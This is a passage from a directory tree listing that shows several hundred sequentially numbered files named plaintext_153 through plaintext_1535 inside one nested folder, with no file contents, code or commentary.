│   │   │       │   ├── plaintext_1527
│   │   │       │   ├── plaintext_1528
│   │   │       │   ├── plaintext_1529
│   │   │       │   ├── plaintext_153
│   │   │       │   ├── plaintext_1530
│   │   │       │   ├── plaintext_1531
│   │   │       │   ├── plaintext_1532
│   │   │       │   ├── plaintext_1533
│   │   │       │   ├── plaintext_1534
│   │   │       │   ├── plaintext_1535
│   │   │       │   ├── plaintext_154
│   │   │       │   ├── plaintext_155
│   │   │       │   ├── plaintext_156
│   │   │       │   ├── plaintext_157
│   │   │       │   ├── plaintext_158
│   │   │       │   ├── plaintext_159
│   │   │       │   ├── plaintext_160
│   │   │       │   ├── plaintext_161
│   │   │       │   ├── plaintext_162
│   │   │       │   ├── plaintext_163
│   │   │       │   ├── plaintext_164
│   │   │       │   ├── plaintext_165
│   │   │       │   ├── plaintext_166
│   │   │       │   ├── plaintext_167
│   │   │       │   ├── plaintext_168
│   │   │       │   ├── plaintext_169
│   │   │       │   ├── plaintext_170
│   │   │       │   ├── plaintext_171
│   │   │       │   ├── plaintext_172
│   │   │       │   ├── plaintext_173
│   │   │       │   ├── plaintext_174
│   │   │       │   ├── plaintext_175
│   │   │       │   ├── plaintext_176
│   │   │       │   ├── plaintext_177
│   │   │       │   ├── plaintext_178
│   │   │       │   ├── plaintext_179
│   │   │       │   ├── plaintext_180
│   │   │       │   ├── plaintext_181
│   │   │       │   ├── plaintext_182
│   │   │       │   ├── plaintext_183
│   │   │       │   ├── plaintext_184
│   │   │       │   ├── plaintext_185
│   │   │       │   ├── plaintext_186
│   │   │       │   ├── plaintext_187
│   │   │       │   ├── plaintext_188
│   │   │       │   ├── plaintext_189
│   │   │       │   ├── plaintext_190
│   │   │       │   ├── plaintext_191
│   │   │       │   ├── plaintext_192
│   │   │       │   ├── plaintext_193
│   │   │       │   ├── plaintext_194
│   │   │       │   ├── plaintext_195
│   │   │       │   ├── plaintext_196
│   │   │       │   ├── plaintext_197
│   │   │       │   ├── plaintext_198
│   │   │       │   ├── plaintext_199
│   │   │       │   ├── plaintext_200
│   │   │       │   ├── plaintext_201
│   │   │       │   ├── plaintext_202
│   │   │       │   ├── plaintext_203
│   │   │       │   ├── plaintext_204
│   │   │       │   ├── plaintext_205
│   │   │       │   ├── plaintext_206
│   │   │       │   ├── plaintext_207
│   │   │       │   ├── plaintext_208
│   │   │       │   ├── plaintext_209
│   │   │       │   ├── plaintext_210
│   │   │       │   ├── plaintext_211
│   │   │       │   ├── plaintext_212
│   │   │       │   ├── plaintext_213
│   │   │       │   ├── plaintext_214
│   │   │       │   ├── plaintext_215
│   │   │       │   ├── plaintext_216
│   │   │       │   ├── plaintext_217
│   │   │       │   ├── plaintext_218
│   │   │       │   ├── plaintext_219
│   │   │       │   ├── plaintext_220
│   │   │       │   ├── plaintext_221
│   │   │       │   ├── plaintext_222
│   │   │       │   ├── plaintext_223
│   │   │       │   ├── plaintext_224
│   │   │       │   ├── plaintext_225
│   │   │       │   ├── plaintext_226
│   │   │       │   ├── plaintext_227
│   │   │       │   ├── plaintext_228
│   │   │       │   ├── plaintext_229
│   │   │       │   ├── plaintext_230
│   │   │       │   ├── plaintext_231
│   │   │       │   ├── plaintext_232
│   │   │       │   ├── plaintext_233
│   │   │       │   ├── plaintext_234
│   │   │       │   ├── plaintext_235
│   │   │       │   ├── plaintext_236
│   │   │       │   ├── plaintext_237
│   │   │       │   ├── plaintext_238
│   │   │       │   ├── plaintext_239
│   │   │       │   ├── plaintext_240
│   │   │       │   ├── plaintext_241
│   │   │       │   ├── plaintext_242
│   │   │       │   ├── plaintext_243
│   │   │       │   ├── plaintext_244
│   │   │       │   ├── plaintext_245
│   │   │       │   ├── plaintext_246
│   │   │       │   ├── plaintext_247
│   │   │       │   ├── plaintext_248
│   │   │       │   ├── plaintext_249
│   │   │       │   ├── plaintext_250
│   │   │       │   ├── plaintext_251
│   │   │       │   ├── plaintext_252
│   │   │       │   ├── plaintext_253
│   │   │       │   ├── plaintext_254
│   │   │       │   ├── plaintext_255
│   │   │       │   ├── plaintext_256
│   │   │       │   ├── plaintext_257
│   │   │       │   ├── plaintext_258
│   │   │       │   ├── plaintext_259
│   │   │       │   ├── plaintext_260
│   │   │       │   ├── plaintext_261
│   │   │       │   ├── plaintext_262
│   │   │       │   ├── plaintext_263
│   │   │       │   ├── plaintext_264
│   │   │       │   ├── plaintext_265
│   │   │       │   ├── plaintext_266
│   │   │       │   ├── plaintext_267
│   │   │       │   ├── plaintext_268
│   │   │       │   ├── plaintext_269
│   │   │       │   ├── plaintext_270
│   │   │       │   ├── plaintext_271
│   │   │       │   ├── plaintext_272
│   │   │       │   ├── plaintext_273
│   │   │       │   ├── plaintext_274
│   │   │       │   ├── plaintext_275
│   │   │       │   ├── plaintext_276
│   │   │       │   ├── plaintext_277
│   │   │       │   ├── plaintext_278
│   │   │       │   ├── plaintext_279
│   │   │       │   ├── plaintext_280
│   │   │       │   ├── plaintext_281
│   │   │       │   ├── plaintext_282
│   │   │       │   ├── plaintext_283
│   │   │       │   ├── plaintext_284
│   │   │       │   ├── plaintext_285
│   │   │       │   ├── plaintext_286
│   │   │       │   ├── plaintext_287
│   │   │       │   ├── plaintext_288
│   │   │       │   ├── plaintext_289
│   │   │       │   ├── plaintext_290
│   │   │       │   ├── plaintext_291
│   │   │       │   ├── plaintext_292
│   │   │       │   ├── plaintext_293
│   │   │       │   ├── plaintext_294
│   │   │       │   ├── plaintext_295
│   │   │       │   ├── plaintext_296
│   │   │       │   ├── plaintext_297
│   │   │       │   ├── plaintext_298
│   │   │       │   ├── plaintext_299
│   │   │       │   ├── plaintext_300
│   │   │       │   ├── plaintext_301
│   │   │       │   ├── plaintext_302
│   │   │       │   ├── plaintext_303
│   │   │       │   ├── plaintext_304
│   │   │       │   ├── plaintext_305
│   │   │       │   ├── plaintext_306
│   │   │       │   ├── plaintext_307
│   │   │       │   ├── plaintext_308
│   │   │       │   ├── plaintext_309
│   │   │       │   ├── plaintext_310
│   │   │       │   ├── plaintext_311
│   │   │       │   ├── plaintext_312
│   │   │       │   ├── plaintext_313
│   │   │       │   ├── plaintext_314
│   │   │       │   ├── plaintext_315
│   │   │       │   ├── plaintext_316
│   │   │       │   ├── plaintext_317
│   │   │       │   ├── plaintext_318
│   │   │       │   ├── plaintext_319
│   │   │       │   ├── plaintext_320
│   │   │       │   ├── plaintext_321
│   │   │       │   ├── plaintext_322
│   │   │       │   ├── plaintext_323
│   │   │       │   ├── plaintext_324
│   │   │       │   ├── plaintext_325
│   │   │       │   ├── plaintext_326
│   │   │       │   ├── plaintext_327
│   │   │       │   ├── plaintext_328
│   │   │       │   ├── plaintext_329
│   │   │       │   ├── plaintext_330
│   │   │       │   ├── plaintext_331
│   │   │       │   ├── plaintext_332
│   │   │       │   ├── plaintext_333
│   │   │       │   ├── plaintext_334
│   │   │       │   ├── plaintext_335
│   │   │       │   ├── plaintext_336
│   │   │       │   ├── plaintext_337
│   │   │       │   ├── plaintext_338
│   │   │       │   ├── plaintext_339
│   │   │       │   ├── plaintext_340
│   │   │       │   ├── plaintext_341
│   │   │       │   ├── plaintext_342
│   │   │       │   ├── plaintext_343
│   │   │       │   ├── plaintext_344
│   │   │       │   ├── plaintext_345
│   │   │       │   ├── plaintext_346
│   │   │       │   ├── plaintext_347
│   │   │       │   ├── plaintext_348
│   │   │       │   ├── plaintext_349
│   │   │       │   ├── plaintext_350
│   │   │       │   ├── plaintext_351
│   │   │       │   ├── plaintext_352
│   │   │       │   ├── plaintext_353
│   │   │       │   ├── plaintext_354
│   │   │       │   ├── plaintext_355
│   │   │       │   ├── plaintext_356
│   │   │       │   ├── plaintext_357
│   │   │       │   ├── plaintext_358
│   │   │       │   ├── plaintext_359
│   │   │       │   ├── plaintext_360
│   │   │       │   ├── plaintext_361
│   │   │       │   ├── plaintext_362
│   │   │       │   ├── plaintext_363
│   │   │       │   ├── plaintext_364
│   │   │       │   ├── plaintext_365
│   │   │       │   ├── plaintext_366
│   │   │       │   ├── plaintext_367
│   │   │       │   ├── plaintext_368
│   │   │       │   ├── plaintext_369
│   │   │       │   ├── plaintext_370
│   │   │       │   ├── plaintext_371
│   │   │       │   ├── plaintext_372
│   │   │       │   ├── plaintext_373
│   │   │       │   ├── plaintext_374
│   │   │       │   ├── plaintext_375
│   │   │       │   ├── plaintext_376
│   │   │       │   ├── plaintext_377
│   │   │       │   ├── plaintext_378
│   │   │       │   ├── plaintext_379
│   │   │       │   ├── plaintext_380
│   │   │       │   ├── plaintext_381
│   │   │       │   ├── plaintext_382
│   │   │       │   ├── plaintext_383
│   │   │       │   ├── plaintext_384
│   │   │       │   ├── plaintext_385
│   │   │       │   ├── plaintext_386
│   │   │       │   ├── plaintext_387
│   │   │       │   ├── plaintext_388
│   │   │       │   ├── plaintext_389
│   │   │       │   ├── plaintext_390
│   │   │       │   ├── plaintext_391
│   │   │       │   ├── plaintext_392
│   │   │       │   ├── plaintext_393
│   │   │       │   ├── plaintext_394
│   │   │       │   ├── plaintext_395
│   │   │       │   ├── plaintext_396
│   │   │       │   ├── plaintext_397
│   │   │       │   ├── plaintext_398
│   │   │       │   ├── plaintext_399
│   │   │       │   ├── plaintext_400
│   │   │       │   ├── plaintext_401
│   │   │       │   ├── plaintext_402
│   │   │       │   ├── plaintext_403
│   │   │       │   ├── plaintext_404
│   │   │       │   ├── plaintext_405
│   │   │       │   ├── plaintext_406
│   │   │       │   ├── plaintext_407
│   │   │       │   ├── plaintext_408
│   │   │       │   ├── plaintext_409
│   │   │       │   ├── plaintext_410
│   │   │       │   ├── plaintext_411
│   │   │       │   ├── plaintext_412
│   │   │       │   ├── plaintext_413
│   │   │       │   ├── plaintext_414
│   │   │       │   ├── plaintext_415
│   │   │       │   ├── plaintext_416
│   │   │       │   ├── plaintext_417
│   │   │       │   ├── plaintext_418
│   │   │       │   ├── plaintext_419
│   │   │       │   ├── plaintext_420
│   │   │       │   ├── plaintext_421
│   │   │       │   ├── plaintext_422
│   │   │       │   ├── plaintext_423
│   │   │       │   ├── plaintext_424
│   │   │       │   ├── plaintext_425
│   │   │       │   ├── plaintext_426
│   │   │       │   ├── plaintext_427
│   │   │       │   ├── plaintext_428
│   │   │       │   ├── plaintext_429
│   │   │       │   ├── plaintext_430
│   │   │       │   ├── plaintext_431
│   │   │       │   ├── plaintext_432
│   │   │       │   ├── plaintext_433
│   │   │       │   ├── plaintext_434
│   │   │       │   ├── plaintext_435
│   │   │       │   ├── plaintext_436
│   │   │       │   ├── plaintext_437
│   │   │       │   ├── plaintext_438
│   │   │       │   ├── plaintext_439
│   │   │       │   ├── plaintext_440
│   │   │       │   ├── plaintext_441
│   │   │       │   ├── plaintext_442
│   │   │       │   ├── plaintext_443
│   │   │       │   ├── plaintext_444
│   │   │       │   ├── plaintext_445
│   │   │       │   ├── plaintext_446
│   │   │       │   ├── plaintext_447
│   │   │       │   ├── plaintext_448
│   │   │       │   ├── plaintext_449
│   │   │       │   ├── plaintext_450
│   │   │       │   ├── plaintext_451
│   │   │       │   ├── plaintext_452
│   │   │       │   ├── plaintext_453
│   │   │       │   ├── plaintext_454
│   │   │       │   ├── plaintext_455
│   │   │       │   ├── plaintext_456
│   │   │       │   ├── plaintext_457
│   │   │       │   ├── plaintext_458
│   │   │       │   ├── plaintext_459
│   │   │       │   ├── plaintext_460
│   │   │       │   ├── plaintext_461
│   │   │       │   ├── plaintext_462
│   │   │       │   ├── plaintext_463
│   │   │       │   ├── plaintext_464
│   │   │       │   ├── plaintext_465
│   │   │       │   ├── plaintext_466
│   │   │       │   ├── plaintext_467
│   │   │       │   ├── plaintext_468
│   │   │       │   ├── plaintext_469
│   │   │       │   ├── plaintext_470
│   │   │       │   ├── plaintext_471
│   │   │       │   ├── plaintext_472
│   │   │       │   ├── plaintext_473
│   │   │       │   ├── plaintext_474
│   │   │       │   ├── plaintext_475
│   │   │       │   ├── plaintext_476
│   │   │       │   ├── plaintext_477
│   │   │       │   ├── plaintext_478
│   │   │       │   ├── plaintext_479
│   │   │       │   ├── plaintext_480
│   │   │       │   ├── plaintext_481
│   │   │       │   ├── plaintext_482
│   │   │       │   ├── plaintext_483
│   │   │       │   ├── plaintext_484
│   │   │       │   ├── plaintext_485
│   │   │       │   ├── plaintext_486
│   │   │       │   ├── plaintext_487
│   │   │       │   ├── plaintext_488
│   │   │       │   ├── plaintext_489
│   │   │       │   ├── plaintext_490
│   │   │       │   ├── plaintext_491
│   │   │       │   ├── plaintext_492
│   │   │       │   ├── plaintext_493
│   │   │       │   ├── plaintext_494
│   │   │       │   ├── plaintext_495
│   │   │       │   ├── plaintext_496
│   │   │       │   ├── plaintext_497
│   │   │       │   ├── plaintext_498
│   │   │       │   ├── plaintext_499
│   │   │       │   ├── plaintext_500
│   │   │       │   ├── plaintext_501
│   │   │       │   ├── plaintext_502
│   │   │       │   ├── plaintext_503
│   │   │       │   ├── plaintext_504
│   │   │       │   ├── plaintext_505
│   │   │       │   ├── plaintext_506
│   │   │       │   ├── plaintext_507
│   │   │       │   ├── plaintext_508
│   │   │       │   ├── plaintext_509
│   │   │       │   ├── plaintext_510
│   │   │       │   ├── plaintext_511
│   │   │       │   ├── plaintext_512
│   │   │       │   ├── plaintext_513
│   │   │       │   ├── plaintext_514
│   │   │       │   ├── plaintext_515
│   │   │       │   ├── plaintext_516
│   │   │       │   ├── plaintext_517
│   │   │       │   ├── plaintext_518
│   │   │       │   ├── plaintext_519
│   │   │       │   ├── plaintext_520
│   │   │       │   ├── plaintext_521
│   │   │       │   ├── plaintext_522
│   │   │       │   ├── plaintext_523
│   │   │       │   ├── plaintext_524
│   │   │       │   ├── plaintext_525
│   │   │       │   ├── plaintext_526
│   │   │       │   ├── plaintext_527
│   │   │       │   ├── plaintext_528
│   │   │       │   ├── plaintext_529
│   │   │       │   ├── plaintext_530
│   │   │       │   ├── plaintext_531
│   │   │       │   ├── plaintext_532
│   │   │       │   ├── plaintext_533
│   │   │       │   ├── plaintext_534
│   │   │       │   ├── plaintext_535
│   │   │       │   ├── plaintext_536
│   │   │       │   ├── plaintext_537
│   │   │       │   ├── plaintext_538
│   │   │       │   ├── plaintext_539
│   │   │       │   ├── plaintext_540
│   │   │       │   ├── plaintext_541
│   │   │       │   ├── plaintext_542
│   │   │       │   ├── plaintext_543
│   │   │       │   ├── plaintext_544
│   │   │       │   ├── plaintext_545
│   │   │       │   ├── plaintext_546
│   │   │       │   ├── plaintext_547
│   │   │       │   ├── plaintext_548
│   │   │       │   ├── plaintext_549
│   │   │       │   ├── plaintext_550
│   │   │       │   ├── plaintext_551
│   │   │       │   ├── plaintext_552
│   │   │       │   ├── plaintext_553
│   │   │       │   ├── plaintext_554
│   │   │       │   ├── plaintext_555
│   │   │       │   ├── plaintext_556
│   │   │       │   ├── plaintext_557
│   │   │       │   ├── plaintext_558
│   │   │       │   ├── plaintext_559
│   │   │       │   ├── plaintext_560
│   │   │       │   ├── plaintext_561
│   │   │       │   ├── plaintext_562
│   │   │       │   ├── plaintext_563
│   │   │       │   ├── plaintext_564
│   │   │       │   ├── plaintext_565
│   │   │       │   ├── plaintext_566
│   │   │       │   ├── plaintext_567
│   │   │       │   ├── plaintext_568
│   │   │       │   ├── plaintext_569
│   │   │       │   ├── plaintext_570
│   │   │       │   ├── plaintext_571
│   │   │       │   ├── plaintext_572
│   │   │       │   ├── plaintext_573
│   │   │       │   ├── plaintext_574
│   │   │       │   ├── plaintext_575
│   │   │       │   ├── plaintext_576
│   │   │       │   ├── plaintext_577
│   │   │       │   ├── plaintext_578
│   │   │       │   ├── plaintext_579
│   │   │       │   ├── plaintext_580
│   │   │       │   ├── plaintext_581
│   │   │       │   ├── plaintext_582
│   │   │       │   ├── plaintext_583
│   │   │       │   ├── plaintext_584
│   │   │       │   ├── plaintext_585
│   │   │       │   ├── plaintext_586
│   │   │       │   ├── plaintext_587
│   │   │       │   ├── plaintext_588
│   │   │       │   ├── plaintext_589
│   │   │       │   ├── plaintext_590
│   │   │       │   ├── plaintext_591
│   │   │       │   ├── plaintext_592
│   │   │       │   ├── plaintext_593
│   │   │       │   ├── plaintext_594
│   │   │       │   ├── plaintext_595
│   │   │       │   ├── plaintext_596
│   │   │       │   ├── plaintext_597
│   │   │       │   ├── plaintext_598
│   │   │       │   ├── plaintext_599
│   │   │       │   ├── plaintext_600
│   │   │       │   ├── plaintext_601
│   │   │       │   ├── plaintext_602
│   │   │       │   ├── plaintext_603
│   │   │       │   ├── plaintext_604
│   │   │       │   ├── plaintext_605
│   │   │       │   ├── plaintext_606
│   │   │       │   ├── plaintext_607
│   │   │       │   ├── plaintext_608
│   │   │       │   ├── plaintext_609
│   │   │       │   ├── plaintext_610
│   │   │       │   ├── plaintext_611
│   │   │       │   ├── plaintext_612
│   │   │       │   ├── plaintext_613
│   │   │       │   ├── plaintext_614
│   │   │       │   ├── plaintext_615
│   │   │       │   ├── plaintext_616
│   │   │       │   ├── plaintext_617
│   │   │       │   ├── plaintext_618
│   │   │       │   ├── plaintext_619
│   │   │       │   ├── plaintext_620
│   │   │       │   ├── plaintext_621
│   │   │       │   ├── plaintext_622
│   │   │       │   ├── plaintext_623
│   │   │       │   ├── plaintext_624
│   │   │       │   ├── plaintext_625
│   │   │       │   ├── plaintext_626
│   │   │       │   ├── plaintext_627
│   │   │       │   ├── plaintext_628
│   │   │       │   ├── plaintext_629
│   │   │       │   ├── plaintext_630
│   │   │       │   ├── plaintext_631
│   │   │       │   ├── plaintext_632
│   │   │       │   ├── plaintext_633
│   │   │       │   ├── plaintext_634
│   │   │       │   ├── plaintext_635
│   │   │       │   ├── plaintext_636
│   │   │       │   ├── plaintext_637
│   │   │       │   ├── plaintext_638
│   │   │       │   ├── plaintext_639
│   │   │       │   ├── plaintext_640
│   │   │       │   ├── plaintext_641
│   │   │       │   ├── plaintext_642
│   │   │       │   ├── plaintext_643
│   │   │       │   ├── plaintext_644
│   │   │       │   ├── plaintext_645
│   │   │       │   ├── plaintext_646
│   │   │       │   ├── plaintext_647
│   │   │       │   ├── plaintext_648
│   │   │       │   ├── plaintext_649
│   │   │       │   ├── plaintext_650
│   │   │       │   ├── plaintext_651
│   │   │       │   ├── plaintext_652
│   │   │       │   ├── plaintext_653
│   │   │       │   ├── plaintext_654
│   │   │       │   ├── plaintext_655
│   │   │       │   ├── plaintext_656
│   │   │       │   ├── plaintext_657
│   │   │       │   ├── plaintext_658
│   │   │       │   ├── plaintext_659
│   │   │       │   ├── plaintext_660
│   │   │       │   ├── plaintext_661
│   │   │       │   ├── plaintext_662
│   │   │       │   ├── plaintext_663
│   │   │       │   ├── plaintext_664
│   │   │       │   ├── plaintext_665
│   │   │       │   ├── plaintext_666
│   │   │       │   ├── plaintext_667
│   │   │       │   ├── plaintext_668
│   │   │       │   ├── plaintext_669
│   │   │       │   ├── plaintext_670
│   │   │       │   ├── plaintext_671
│   │   │       │   ├── plaintext_672
│   │   │       │   ├── plaintext_673
│   │   │       │   ├── plaintext_674
│   │   │       │   ├── plaintext_675
│   │   │       │   ├── plaintext_676
│   │   │       │   ├── plaintext_677
│   │   │       │   ├── plaintext_678
│   │   │       │   ├── plaintext_679
│   │   │       │   ├── plaintext_680
│   │   │       │   ├── plaintext_681
│   │   │       │   ├── plaintext_682
│   │   │       │   ├── plaintext_683
│   │   │       │   ├── plaintext_684
│   │   │       │   ├── plaintext_685
│   │   │       │   ├── plaintext_686
│   │   │       │   ├── plaintext_687
│   │   │       │   ├── plaintext_688
│   │   │       │   ├── plaintext_689
│   │   │       │   ├── plaintext_690
│   │   │       │   ├── plaintext_691
│   │   │       │   ├── plaintext_692
│   │   │       │   ├── plaintext_693
│   │   │       │   ├── plaintext_694
│   │   │       │   ├── plaintext_695
│   │   │       │   ├── plaintext_696
│   │   │       │   ├── plaintext_697
│   │   │       │   ├── plaintext_698
│   │   │       │   ├── plaintext_699
│   │   │       │   ├── plaintext_700
│   │   │       │   ├── plaintext_701
│   │   │       │   ├── plaintext_702
│   │   │       │   ├── plaintext_703
│   │   │       │   ├── plaintext_704
│   │   │       │   ├── plaintext_705
│   │   │       │   ├── plaintext_706
│   │   │       │   ├── plaintext_707
│   │   │       │   ├── plaintext_708
│   │   │       │   ├── plaintext_709
│   │   │       │   ├── plaintext_710
│   │   │       │   ├── plaintext_711
│   │   │       │   ├── plaintext_712
│   │   │       │   ├── plaintext_713
│   │   │       │   ├── plaintext_714
│   │   │       │   ├── plaintext_715
│   │   │       │   ├── plaintext_716
│   │   │       │   ├── plaintext_717
│   │   │       │   ├── plaintext_718
│   │   │       │   ├── plaintext_719
│   │   │       │   ├── plaintext_720
│   │   │       │   ├── plaintext_721
│   │   │       │   ├── plaintext_722
│   │   │       │   ├── plaintext_723
│   │   │       │   ├── plaintext_724
│   │   │       │   ├── plaintext_725
│   │   │       │   ├── plaintext_726
│   │   │       │   ├── plaintext_727
│   │   │       │   ├── plaintext_728
│   │   │       │   ├── plaintext_729
│   │   │       │   ├── plaintext_730
│   │   │       │   ├── plaintext_731
│   │   │       │   ├── plaintext_732
│   │   │       │   ├── plaintext_733
│   │   │       │   ├── plaintext_734
│   │   │       │   ├── plaintext_735
│   │   │       │   ├── plaintext_736
│   │   │       │   ├── plaintext_737
│   │   │       │   ├── plaintext_738
│   │   │       │   ├── plaintext_739
│   │   │       │   ├── plaintext_740
│   │   │       │   ├── plaintext_741
│   │   │       │   ├── plaintext_742
│   │   │       │   ├── plaintext_743
│   │   │       │   ├── plaintext_744
│   │   │       │   ├── plaintext_745
│   │   │       │   ├── plaintext_746
│   │   │       │   ├── plaintext_747
│   │   │       │   ├── plaintext_748
│   │   │       │   ├── plaintext_749
│   │   │       │   ├── plaintext_750
│   │   │       │   ├── plaintext_751
│   │   │       │   ├── plaintext_752
│   │   │       │   ├── plaintext_753
│   │   │       │   ├── plaintext_754
│   │   │       │   ├── plaintext_755
│   │   │       │   ├── plaintext_756
│   │   │       │   ├── plaintext_757
│   │   │       │   ├── plaintext_758
│   │   │       │   ├── plaintext_759
│   │   │       │   ├── plaintext_760
│   │   │       │   ├── plaintext_761
│   │   │       │   ├── plaintext_762
│   │   │       │   ├── plaintext_763
│   │   │       │   ├── plaintext_764
│   │   │       │   ├── plaintext_765
│   │   │       │   ├── plaintext_766
│   │   │       │   ├── plaintext_767
│   │   │       │   ├── plaintext_768
│   │   │       │   ├── plaintext_769
│   │   │       │   ├── plaintext_770
│   │   │       │   ├── plaintext_771
│   │   │       │   ├── plaintext_772
│   │   │       │   ├── plaintext_773
│   │   │       │   ├── plaintext_774
│   │   │       │   ├── plaintext_775
│   │   │       │   ├── plaintext_776
│   │   │       │   ├── plaintext_777
│   │   │       │   ├── plaintext_778
│   │   │       │   ├── plaintext_779
│   │   │       │   ├── plaintext_780
│   │   │       │   ├── plaintext_781
│   │   │       │   ├── plaintext_782
│   │   │       │   ├── plaintext_783
│   │   │       │   ├── plaintext_784
│   │   │       │   ├── plaintext_785
│   │   │       │   ├── plaintext_786
│   │   │       │   ├── plaintext_787
│   │   │       │   ├── plaintext_788
│   │   │       │   ├── plaintext_789
│   │   │       │   ├── plaintext_790
│   │   │       │   ├── plaintext_791
│   │   │       │   ├── plaintext_792
│   │   │       │   ├── plaintext_793
│   │   │       │   ├── plaintext_794
│   │   │       │   ├── plaintext_795
│   │   │       │   ├── plaintext_796
│   │   │       │   ├── plaintext_797
│   │   │       │   ├── plaintext_798
│   │   │       │   ├── plaintext_799
│   │   │       │   ├── plaintext_800
│   │   │       │   ├── plaintext_801
│   │   │       │   ├── plaintext_802
│   │   │       │   ├── plaintext_803
│   │   │       │   ├── plaintext_804
│   │   │       │   ├── plaintext_805
│   │   │       │   ├── plaintext_806
│   │   │       │   ├── plaintext_807
│   │   │       │   ├── plaintext_808
│   │   │       │   ├── plaintext_809
│   │   │       │   ├── plaintext_810
│   │   │       │   ├── plaintext_811
│   │   │       │   ├── plaintext_812
│   │   │       │   ├── plaintext_813
│   │   │       │   ├── plaintext_814
│   │   │       │   ├── plaintext_815
│   │   │       │   ├── plaintext_816
│   │   │       │   ├── plaintext_817
│   │   │       │   ├── plaintext_818
│   │   │       │   ├── plaintext_819
│   │   │       │   ├── plaintext_820
│   │   │       │   ├── plaintext_821
│   │   │       │   ├── plaintext_822
│   │   │       │   ├── plaintext_823
│   │   │       │   ├── plaintext_824
│   │   │       │   ├── plaintext_825
│   │   │       │   ├── plaintext_826
│   │   │       │   ├── plaintext_827
│   │   │       │   ├── plaintext_828
│   │   │       │   ├── plaintext_829
│   │   │       │   ├── plaintext_830
│   │   │       │   ├── plaintext_831
│   │   │       │   ├── plaintext_832
│   │   │       │   ├── plaintext_833
│   │   │       │   ├── plaintext_834
│   │   │       │   ├── plaintext_835
│   │   │       │   ├── plaintext_836
│   │   │       │   ├── plaintext_837
│   │   │       │   ├── plaintext_838
│   │   │       │   ├── plaintext_839
│   │   │       │   ├── plaintext_840
│   │   │       │   ├── plaintext_841
│   │   │       │   ├── plaintext_842
│   │   │       │   ├── plaintext_843
│   │   │       │   ├── plaintext_844
│   │   │       │   ├── plaintext_845
│   │   │       │   ├── plaintext_846
│   │   │       │   ├── plaintext_847
│   │   │       │   ├── plaintext_848
│   │   │       │   ├── plaintext_849
│   │   │       │   ├── plaintext_850
│   │   │       │   ├── plaintext_851
│   │   │       │   ├── plaintext_852
│   │   │       │   ├── plaintext_853
│   │   │       │   ├── plaintext_854
│   │   │       │   ├── plaintext_855
│   │   │       │   ├── plaintext_856
│   │   │       │   ├── plaintext_857
│   │   │       │   ├── plaintext_858
│   │   │       │   ├── plaintext_859
│   │   │       │   ├── plaintext_860
│   │   │       │   ├── plaintext_861
│   │   │       │   ├── plaintext_862
│   │   │       │   ├── plaintext_863
│   │   │       │   ├── plaintext_864
│   │   │       │   ├── plaintext_865
│   │   │       │   ├── plaintext_866
│   │   │       │   ├── plaintext_867
│   │   │       │   ├── plaintext_868
│   │   │       │   ├── plaintext_869
│   │   │       │   ├── plaintext_870
│   │   │       │   ├── plaintext_871
│   │   │       │   ├── plaintext_872
│   │   │       │   ├── plaintext_873
│   │   │       │   ├── plaintext_874
│   │   │       │   ├── plaintext_875
│   │   │       │   ├── plaintext_876
│   │   │       │   ├── plaintext_877
│   │   │       │   ├── plaintext_878
│   │   │       │   ├── plaintext_879
│   │   │       │   ├── plaintext_880
│   │   │       │   ├── plaintext_881
│   │   │       │   ├── plaintext_882
│   │   │       │   ├── plaintext_883
│   │   │       │   ├── plaintext_884
│   │   │       │   ├── plaintext_885
│   │   │       │   ├── plaintext_886
│   │   │       │   ├── plaintext_887
│   │   │       │   ├── plaintext_888
│   │   │       │   ├── plaintext_889
│   │   │       │   ├── plaintext_890
│   │   │       │   ├── plaintext_891
│   │   │       │   ├── plaintext_892
│   │   │       │   ├── plaintext_893
│   │   │       │   ├── plaintext_894
│   │   │       │   ├── plaintext_895
│   │   │       │   ├── plaintext_896
│   │   │       │   ├── plaintext_897
│   │   │       │   ├── plaintext_898
│   │   │       │   ├── plaintext_899
│   │   │       │   ├── plaintext_900
│   │   │       │   ├── plaintext_901
│   │   │       │   ├── plaintext_902
│   │   │       │   ├── plaintext_903
│   │   │       │   ├── plaintext_904
│   │   │       │   ├── plaintext_905
│   │   │       │   ├── plaintext_906
│   │   │       │   ├── plaintext_907
│   │   │       │   ├── plaintext_908
│   │   │       │   ├── plaintext_909
│   │   │       │   ├── plaintext_910
│   │   │       │   ├── plaintext_911
│   │   │       │   ├── plaintext_912
│   │   │       │   ├── plaintext_913
│   │   │       │   ├── plaintext_914
│   │   │       │   ├── plaintext_915
│   │   │       │   ├── plaintext_916
│   │   │       │   ├── plaintext_917
│   │   │       │   ├── plaintext_918
│   │   │       │   ├── plaintext_919
│   │   │       │   ├── plaintext_920
│   │   │       │   ├── plaintext_921
│   │   │       │   ├── plaintext_922
│   │   │       │   ├── plaintext_923
│   │   │       │   ├── plaintext_924
│   │   │       │   ├── plaintext_925
│   │   │       │   ├── plaintext_926
│   │   │       │   ├── plaintext_927
│   │   │       │   ├── plaintext_928
│   │   │       │   ├── plaintext_929
│   │   │       │   ├── plaintext_930
│   │   │       │   ├── plaintext_931
│   │   │       │   ├── plaintext_932
│   │   │       │   ├── plaintext_933
│   │   │       │   ├── plaintext_934
│   │   │       │   ├── plaintext_935
│   │   │       │   ├── plaintext_936
│   │   │       │   ├── plaintext_937
│   │   │       │   ├── plaintext_938
│   │   │       │   ├── plaintext_939
│   │   │       │   ├── plaintext_940
│   │   │       │   ├── plaintext_941
│   │   │       │   ├── plaintext_942
│   │   │       │   ├── plaintext_943
│   │   │       │   ├── plaintext_944
│   │   │       │   ├── plaintext_945
│   │   │       │   ├── plaintext_946
│   │   │       │   ├── plaintext_947
│   │   │       │   ├── plaintext_948
│   │   │       │   ├── plaintext_949
│   │   │       │   ├── plaintext_950
│   │   │       │   ├── plaintext_951
│   │   │       │   ├── plaintext_952
│   │   │       │   ├── plaintext_953
│   │   │       │   ├── plaintext_954
│   │   │       │   ├── plaintext_955
│   │   │       │   ├── plaintext_956
│   │   │       │   ├── plaintext_957
│   │   │       │   ├── plaintext_958
│   │   │       │   ├── plaintext_959
│   │   │       │   ├── plaintext_960
│   │   │       │   ├── plaintext_961
│   │   │       │   ├── plaintext_962
│   │   │       │   ├── plaintext_963
│   │   │       │   ├── plaintext_964
│   │   │       │   ├── plaintext_965
│   │   │       │   ├── plaintext_966
│   │   │       │   ├── plaintext_967
│   │   │       │   ├── plaintext_968
│   │   │       │   ├── plaintext_969
│   │   │       │   ├── plaintext_970
│   │   │       │   ├── plaintext_971
│   │   │       │   ├── plaintext_972
│   │   │       │   ├── plaintext_973
│   │   │       │   ├── plaintext_974
│   │   │       │   ├── plaintext_975
